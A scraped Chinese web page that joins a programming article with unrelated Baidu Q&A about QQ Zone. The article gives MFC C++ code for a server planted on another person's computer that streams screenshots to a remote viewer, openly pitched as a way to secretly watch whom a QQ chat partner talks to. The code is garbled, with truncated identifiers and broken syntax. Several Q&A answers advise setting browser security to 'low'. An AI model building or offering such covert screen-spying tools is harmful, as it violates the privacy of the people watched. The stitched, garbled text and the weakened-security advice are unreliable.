文章qq头像发表在哪可以在QQ阅读里显示

当前位置:
定时显示远程计算机的桌面
定时显示远程计算机的桌面
发布日期: 10:40
浏览次数:3867次
标  签:图形用户界面
文章评分:5.0
操  作:
称号:未设置简介:...
文章概要:
看了大家写了这么多的代码,自己也想贡献一点。呵呵,很多的时候我们在qq的时候都想看看和自己聊天的对方在和哪些人聊天,有什么办法没有?直接一点的就是截获对方的桌面。我看了一下一般的截获的桌面都没有及时的显示和更新,而且每次显示的时候如果从磁盘中读取的话速度未免太慢了一点,可不可以直接将bitmap的数据直接传到网络的终端显示呢?ok这个方法应该可以。闲话免说。开始正式进入我们的话题。
看了大家写了这么多的代码,自己也想贡献一点。呵呵,很多的时候我们在qq的时候都想看看和自己聊天的对方在和哪些人聊天,有什么办法没有?直接一点的就是截获对方的桌面。我看了一下一般的截获的桌面都没有及时的显示和更新,而且每次显示的时候如果从磁盘中读取的话速度未免太慢了一点,可不可以直接将bitmap的数据直接传到网络的终端显示呢?ok这个方法应该可以。闲话免说。开始正式进入我们的话题。
二、服务程序实现
首先要的是在对方的电脑上放入服务器程序:EmployerSever.exe。网络的传送自然少不了的,我采用的是mfc CSocket。控制端的程序是点击“开始服务”就可以接受网络的另一端的连接了。服务端的关键是截取屏幕 ,并且发送出去。如下所示:
void CEmployerSeverDlg::CatchScreen()
// protect类型 只用于内部函数的调用,
//截获屏幕位图信息和数据信息分别放在btm和lpdata
dc.CreateDC("DISPLAY",NULL,NULL,NULL);
int Width=GetSystemMetrics(SM_CXSCREEN);
int Height=GetSystemMetrics(SM_CYSCREEN);
bm.CreateCompatibleBitmap(&dc,Width,Height);
tdc.CreateCompatibleDC(&dc);
CBitmap*pOld=tdc.SelectObject(&bm);
tdc.BitBlt(0,0,Width,Height,&dc,0,0,SRCCOPY);
tdc.SelectObject(pOld);
bm.GetBitmap(&btm);
size=btm.bmWidthBytes*btm.bmH
lpData=new char[size];
/////////////////////////////////////////////
BITMAPINFOHEADER
bih.biBitCount=btm.bmBitsP
bih.biClrImportant=0;
bih.biClrUsed=0;
bih.biCompression=0;
bih.biHeight=btm.bmH
bih.biPlanes=1;
bih.biSize=sizeof(BITMAPINFOHEADER);
bih.biSizeImage=
bih.biWidth=btm.bmW
bih.biXPelsPerMeter=0;
bih.biYPelsPerMeter=0;
///////////////////////////////////
GetDIBits(dc,bm,0,bih.biHeight,lpData,(BITMAPINFO*)&bih,DIB_RGB_COLORS);
三、客户端程序实现
其次是客户端 BossSeeClient.exe,只要是用来接收对方的发过来的字节,并且造型为bitmap显示在客户区。首先在编辑中写入要监视的对方的ip地址,这样主机就会出现在右边的视图中了,双击对应的图标就可以连接了,在这里双击的时候我加入了记时器settimer双击之后,如果连接顺利就可以在右边的客户端显示对方的桌面的情况了。并且由于有定时,所以显示会及时的更新,你可以根据自己的需要改变监视的时间,只要右键对方的ip地址就可以有对话框弹出更改自己的要求了。
void CBossSeeClientView::OnGetScreen()
//通过网络获得bitmap的信息填写lpdata
// TODO: Add your command handler code here
if(m_pRecBMPSocket==NULL)
if(lpData!=NULL)
{delete lpDlpData=NULL;}
char MSGTYPE1[30]="B";
int BTMInfoSize=24;
char BTMInfoBuf[24];
m_pRecBMPSocket-&Send(MSGTYPE1,30);
int ret=m_pRecBMPSocket-&Receive(BTMInfoBuf,sizeof(BITMAP));
if (ret!=24)
{ MessageBox("failed recive 24");}
BITMAP *BTMBUF=(BITMAP *)BTMInfoB
btm.bmBits=BTMBUF-&bmB
btm.bmBitsPixel=BTMBUF-&bmBitsP
btm.bmHeight=BTMBUF-&bmH
btm.bmPlanes=BTMBUF-&bmP
btm.bmType=BTMBUF-&bmT
btm.bmWidth=BTMBUF-&bmW
btm.bmWidthBytes=BTMBUF-&bmWidthB
char MSGTYPE2[30]="D";
m_pRecBMPSocket-&Send(MSGTYPE2,30);
int size=btm.bmWidthBytes*btm.bmH
lpData=new char[size];
if(lpData==NULL)
MessageBox("faile memery");
char *pch=lpD
int nBytesRec=0;
int nBytesThisT
//发送的内容较大采用循环发送完成为止
nBytesThisTime=m_pRecBMPSocket-&Receive(pch,size-nBytesRec);
nBytesRec+=nBytesThisT
pch+=nBytesThisT
}while(nBytesRecUpdateAllViews(NULL,NULL,NULL);//更新视图
/////////////////////////////////////
void CClientView::OnDraw(CDC* pDC)
{//显示接收到的位图信息
CDocument* pDoc = GetDocument();
// TODO: add draw code here
if(lpData==NULL)
BITMAP myBITMAP;
myBITMAP.bmBits=btm.bmB
myBITMAP.bmBitsPixel=btm.bmBitsP
myBITMAP.bmHeight=btm.bmH
myBITMAP.bmPlanes=btm.bmP
myBITMAP.bmType=btm.bmT
myBITMAP.bmWidth=btm.bmW
myBITMAP.bmWidthBytes=btm.bmWidthB
BITMAPINFOHEADER
bih.biBitCount=myBITMAP.bmBitsP
bih.biClrImportant=0;
bih.biClrUsed=0;
bih.biCompression=0;
bih.biHeight=myBITMAP.bmH
bih.biPlanes=1;
bih.biSize=sizeof(BITMAPINFOHEADER);
bih.biSizeImage=myBITMAP.bmWidthBytes*myBITMAP.bmH
bih.biWidth=myBITMAP.bmW
bih.biXPelsPerMeter=0;
bih.biYPelsPerMeter=0;
/////////////////////////
if(tbitmap.CreateBitmapIndirect(&myBITMAP)==NULL)
MessageBox("b mull");
if(tbitmap.m_hObject==NULL)MessageBox("NULL");
CPaintDC tdc(this);
tmemdc.CreateCompatibleDC(pDC);
SetDIBits(tmemdc.m_hDC,tbitmap,0,btm.bmHeight,lpData,(BITMAPINFO*)&bih,DIB_RGB_COLORS);
GetClientRect(&trect);
CBitmap* lpOldbit=tmemdc.SelectObject(&tbitmap);
pDC-&StretchBlt(0,0,trect.Width(),trect.Height(),
&tmemdc,0,0,myBITMAP.bmWidth,
myBITMAP.bmHeight,SRCCOPY);
我在本机上测试了程序,是可以运行得很好的,但是当我在我们寝室的两台机子对联的时候
出现了问题,我想可能是因为SetDIBits()函数的时间消耗比较的大,再又由于网络的原因所以导致一些问题。而且默认的 settimer 是1.5秒是不是时间上应该多放一点。
祝大家编程快乐。谢谢!
最多还可以输入100字
【VIP年会员制套餐】
【C/C++软件工程师实战能力集训大纲】
VC知识库发布了C/C++业界的“本草纲目”
【牛人都在千人一号群! 加群三步走!!!】
第一步:请必须加VC知识库QQ: 为好友;
第二步:请必须关注本站微博:
第三步:申请加入群:.(必须将关注微博截屏发到QQ方可通过!)
【最新2013:】
全部100% VC++源码提供: E-Form++全新大型SCADA & HMI解决方案源码、CAD解决方案源码、Gis解决方案源码 、电力石油化工仿真与图形建模解决方案源码、大量其他高级制图VC++源码下载!
【 新视频发布】
o o o o o o o o o o
WinSock 学习笔记系列文章.........
WinSock 学习笔记系列文章.........
本文介绍了套接字编程的基本知识。...我的QQ空间发了文章,为什么在QQ上显示不了呢?
我的QQ空间发了文章,为什么在QQ上显示不了呢?
现在腾讯QQ空间在更新自由之夏.所以经常出现一些QQ系统繁忙,空间网页不能显示,日志看不到.装扮无法保存.QQ签名挡不能改.QQ面板显示不出QQ空间,QQ空间的图标不亮闪图不会闪,空间歌播放不流畅或者验证码一直出错之类的问题.请不要着急.多开次几或者等系统维修好了就行了.现在QQ空间系统在维修.暂时不能上传视频之类的文件.请耐心等待,Flash9月上旬将维修好..
sa fref因为QQ空间系统进行日常维护更新所以经常出现一些QQ系统繁忙,空间网页,导航 播放器, 模块不能显示,日志看不到.装扮无法保存.QQ签名挡不能改.QQ面板显示不出QQ空间,QQ空间的图标不亮闪图不会闪,空间歌播放不流畅或者验证码一直出错之类的问题.请不要着急.多开几次或者等系统维护好了就行了 一、空间无法进入的问题: 如果您无法登录空间,以下的方法请您参考: a.登陆qzone然后选择“安全模式”进入空间; b.清除网络浏览器缓存,在浏览器菜单里选择工具;Interner选项;删除Cookies和删除文件,然后再确定; c.打开一个好友的空间,点击“装扮自己的空间”, 点开就进入了自己的空间,如果仍打不开,请多试几次; d.请您点击IE浏览器中的“工具”,选择“internet选项”,进入“安全”页面,点击“自定义级别”,将您的安全设置设为“低”; e.清空一下IE浏览器的cookies文件,在IE浏览器中设置“禁止自动脚本更新”,并不要选择“禁止运行ActiveX控件”,然后再尝试操作(请使用IE 7.0以上版本)
二、显示脚本错误问题。 1、建议您在IE浏览器上的“工具”--然后再选择最下面的Internet选项,再点“高级”进行关闭“脚本调试”后尝试。同时建议您可以将浏览器的安全级别较低尝试。 2、也有可能是由于您的QQ空间添加的模块代码不符,建议您在打开空间的时候,在主页 选择“安全模式”登陆QQ空间--自定义--个人设置--模块管理/还原默认 将QQ空间的代码删除尝试。 3、请清除一下浏览器的缓存,点浏览器上的工具--然后再选择最下面的Internet选项,再点Internet删除文件(记得勾上删除所有脱机内容),确定后,然后再重新打开浏览器尝试! 4、建议安装 Flash Player 9.0版本的软件,并清空一下IE浏览器的cookies文件,然后再尝试操作(请使用IE 7.0以上版本)。
相关知识等待您来回答
QQ空间领域专家如何不让Q-ZONE,qq空间的文章在别人的QQ邮箱的阅读空间里显示而只能直接到空间里阅读?_百度知道
如何不让Q-ZONE,qq空间的文章在别人的QQ邮箱的阅读空间里显示而只能直接到空间里阅读?
怎么设置啊?别显示在别人qq邮箱的阅读空间里
其他类似问题
qq邮箱的相关知识
您可能关注的推广
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁怎么才能使我QQ头像下显示的是我最近发表的文章_百度知道
怎么才能使我QQ头像下显示的是我最近发表的文章
写了很多,但QQ头像下显示的还是以前的文章,怎么改?
提问者采纳
我个人设置——个人资料中,在个性签名的下方有一个“始终显示个性签名”,看看你有没有选,不要去选,很快就会显示你最新的文章了。
其他类似问题
800人觉得有用
qq头像的相关知识
其他5条回答
过段时间后就可以看到最新的文章现实在你QQ头像下面了 ~可能要几个小时下Q后再上 忙是要等1天!!
其实你发了新的文章的话可以刷新先之后很快就会出现的了
刷新就行了``
过短时间自然会出现的啦···o(∩_∩)o...不要担心!
您可能关注的推广回答者:
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁QQ空间莫名的访问量暴涨怎么回事?是不是前几天发表了一篇文章原因,可是他们在哪看到的呢_百度知道
QQ空间莫名的访问量暴涨怎么回事?是不是前几天发表了一篇文章原因,可是他们在哪看到的呢
QQ爱好者真诚为你解答 大家都去种菜了 我的也是。。。别担心、过几天再看就会好的。。 有的文章一百多的浏览量突然变成九十多 我的是
其他类似问题
qq空间的相关知识
您可能关注的推广
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁

我要回帖

更多关于 文章qq头像 的文章

 

随机推荐